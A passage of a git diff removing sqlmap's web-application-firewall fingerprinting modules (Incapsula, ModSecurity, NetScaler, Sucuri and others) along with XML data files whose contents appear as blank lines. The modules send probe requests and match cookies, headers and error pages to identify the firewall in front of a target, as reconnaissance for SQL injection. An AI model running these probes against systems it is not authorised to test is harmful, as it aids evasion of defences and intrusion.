developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Hyperguard Web Application Firewall (art of defence Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\AODSESSION=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/incapsula.py b/waf/incapsula.py deleted file mode 100644 index 1b2196e555b..00000000000 --- a/waf/incapsula.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Incapsula Web Application Firewall (Incapsula/Imperva)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/isaserver.py b/waf/isaserver.py deleted file mode 100644 index c88cf4370cc..00000000000 --- a/waf/isaserver.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.common import randomInt - -__product__ = "ISA Server (Microsoft)" - -def detect(get_page): - page, headers, code = get_page(host=randomInt(6)) - retval = "The server denied the specified Uniform Resource Locator (URL). Contact the server administrator." in (page or "") - retval |= "The ISA Server denied the specified Uniform Resource Locator (URL)" in (page or "") - return retval diff --git a/waf/jiasule.py b/waf/jiasule.py deleted file mode 100644 index 3d088f74cf1..00000000000 --- a/waf/jiasule.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Jiasule Web Application Firewall (Jiasule)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page, re.I) is not None - if retval: - break - - return retval diff --git a/waf/knownsec.py b/waf/knownsec.py deleted file mode 100644 index 95fcae433ca..00000000000 --- a/waf/knownsec.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KS-WAF (Knownsec)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"url\('/ks-waf-error\.png'\)", page, re.I) is not None - if retval: - break - - return retval diff --git a/waf/kona.py b/waf/kona.py deleted file mode 100644 index 731cd6f99a1..00000000000 --- a/waf/kona.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "KONA Security Solutions (Akamai Technologies)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is not None - if retval: - break - - return retval diff --git a/waf/modsecurity.py b/waf/modsecurity.py deleted file mode 100644 index 673438f80af..00000000000 --- a/waf/modsecurity.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ModSecurity: Open Source Web Application Firewall (Trustwave)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is None - retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "This error was generated by Mod_Security" in page - if retval: - break - - return retval diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py deleted file mode 100644 index c8a29774b49..00000000000 --- a/waf/netcontinuum.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\ANCI__SessionId=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/netscaler.py b/waf/netscaler.py deleted file mode 100644 index fe6b817a28b..00000000000 --- a/waf/netscaler.py +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetScaler (Citrix Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\Aclose", headers.get("Cneonction", "") or headers.get("nnCoection", ""), re.I) is not None - retval = re.search(r"\A(ns_af=|citrix_ns_id|NSC_)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"\ANS-CACHE", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/paloalto.py b/waf/paloalto.py deleted file mode 100644 index 6c281e575ee..00000000000 --- a/waf/paloalto.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Palo Alto Firewall (Palo Alto Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page, re.I) is not None - if retval: - break - - return retval diff --git a/waf/profense.py b/waf/profense.py deleted file mode 100644 index 2bd00b0e7a7..00000000000 --- a/waf/profense.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Profense Web Application Firewall (Armorlogic)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\APLBSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - retval |= re.search(r"Profense", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/proventia.py b/waf/proventia.py deleted file mode 100644 index 7630b3b5439..00000000000 --- a/waf/proventia.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -__product__ = "Proventia Web Application Security (IBM)" - -def detect(get_page): - page, headers, code = get_page() - if page is None: - return False - page, headers, code = get_page(url="/Admin_Files/") - return page is None diff --git a/waf/radware.py b/waf/radware.py deleted file mode 100644 index 72deba64c3c..00000000000 --- a/waf/radware.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "AppWall (Radware)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page, re.I | re.S) is not None - retval |= headers.get("X-SL-CompState") is not None - if retval: - break - - return retval diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py deleted file mode 100644 index ad0abc9db67..00000000000 --- a/waf/requestvalidationmode.py +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "ASP.NET RequestValidationMode (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = "ASP.NET has detected data in the request that is potentially dangerous" in page - retval |= "Request Validation has detected a potentially dangerous client input value" in page - if retval: - break - - return retval diff --git a/waf/safedog.py b/waf/safedog.py deleted file mode 100644 index 31b706e18d7..00000000000 --- a/waf/safedog.py +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Safedog Web Application Firewall (Safedog)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"WAF/2.0", headers.get("X-Powered-By", ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/secureiis.py b/waf/secureiis.py deleted file mode 100644 index 425ebdfe581..00000000000 --- a/waf/secureiis.py +++ /dev/null @@ -1,17 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.enums import HTTP_HEADER - -__product__ = "SecureIIS Web Server Security (BeyondTrust)" - -def detect(get_page): - page, headers, code = get_page() - retval = code != 404 - page, headers, code = get_page(auxHeaders={HTTP_HEADER.TRANSFER_ENCODING: 'a' * 1025, HTTP_HEADER.ACCEPT_ENCODING: "identity"}) - retval = retval and code == 404 - return retval diff --git a/waf/senginx.py b/waf/senginx.py deleted file mode 100644 index 15a4223f2c3..00000000000 --- a/waf/senginx.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "SEnginx (Neusoft Corporation)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = "SENGINX-ROBOT-MITIGATION" in page - if retval: - break - - return retval diff --git a/waf/sucuri.py b/waf/sucuri.py deleted file mode 100644 index ba25802c7be..00000000000 --- a/waf/sucuri.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Sucuri WebSite Firewall" - -def detect(get_page): - retVal = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retVal = code == 403 and re.search(r"Sucuri/Cloudproxy", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retVal: - break - - return retVal diff --git a/waf/teros.py b/waf/teros.py deleted file mode 100644 index 99afbd8c367..00000000000 --- a/waf/teros.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"\Ast8(id|_wat|_wlf)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/trafficshield.py b/waf/trafficshield.py deleted file mode 100644 index e90c6671e59..00000000000 --- a/waf/trafficshield.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "TrafficShield (F5 Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"F5-TrafficShield", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"\AASINFO=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/urlscan.py b/waf/urlscan.py deleted file mode 100644 index 7d094482cbe..00000000000 --- a/waf/urlscan.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "UrlScan (Microsoft)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Rejected-By-UrlScan", headers.get(HTTP_HEADER.LOCATION, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/uspses.py b/waf/uspses.py deleted file mode 100644 index e3192298f69..00000000000 --- a/waf/uspses.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "USP Secure Entry Server (United Security Providers)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = re.search(r"Secure Entry Server", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/varnish.py b/waf/varnish.py deleted file mode 100644 index a6f672fd022..00000000000 --- a/waf/varnish.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Varnish FireWall (OWASP) " - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retval = headers.get("X-Varnish") is not None - retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None - if retval: - break - - return retval diff --git a/waf/webappsecure.py b/waf/webappsecure.py deleted file mode 100644 index 5faf88ebf33..00000000000 --- a/waf/webappsecure.py +++ /dev/null @@ -1,15 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -__product__ = "webApp.secure (webScurity)" - -def detect(get_page): - page, headers, code = get_page() - if code == 403: - return False - page, headers, code = get_page(get="nx=@@") - return code == 403 diff --git a/waf/webknight.py b/waf/webknight.py deleted file mode 100644 index 11f82ee60ed..00000000000 --- a/waf/webknight.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "WebKnight Application Firewall (AQTRONIX)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, headers, code = get_page(get=vector) - retVal = code == 999 - retval |= re.search(r"WebKnight", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retVal: - break - - return retval diff --git a/xml/banner/cookie.xml b/xml/banner/cookie.xml deleted file mode 100644 index c9e34d2ceaa..00000000000 --- a/xml/banner/cookie.xml +++ /dev/null @@ -1,37 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/banner/mysql.xml b/xml/banner/mysql.xml deleted file mode 100644 index 2daf1d1adea..00000000000 --- a/xml/banner/mysql.xml +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/banner/postgresql.xml b/xml/banner/postgresql.xml deleted file mode 100644 index 3ae42c3a38f..00000000000 --- a/xml/banner/postgresql.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/banner/x-powered-by.xml b/xml/banner/x-powered-by.xml deleted file mode 100644 index 0ca88545922..00000000000 --- a/xml/banner/x-powered-by.xml +++ /dev/null @@ -1,29 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/errors.xml b/xml/errors.xml deleted file mode 100644 index eb4670fd96f..00000000000 --- a/xml/errors.xml +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/livetests.xml b/xml/livetests.xml deleted file mode 100644 index 4ee5eaabc1e..00000000000 --- a/xml/livetests.xml +++ /dev/null @@ -1,3648 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/queries.xml b/xml/queries.xml deleted file mode 100644 index 98b79cac747..00000000000 --- a/xml/queries.xml +++ /dev/null @@ -1,717 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/xml/sqlmap.xsd b/xml/sqlmap.xsd deleted file mode 100644 index 62e35e12bef..00000000000 --- a/xml/sqlmap.xsd +++ /dev/null @@ -1,284 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -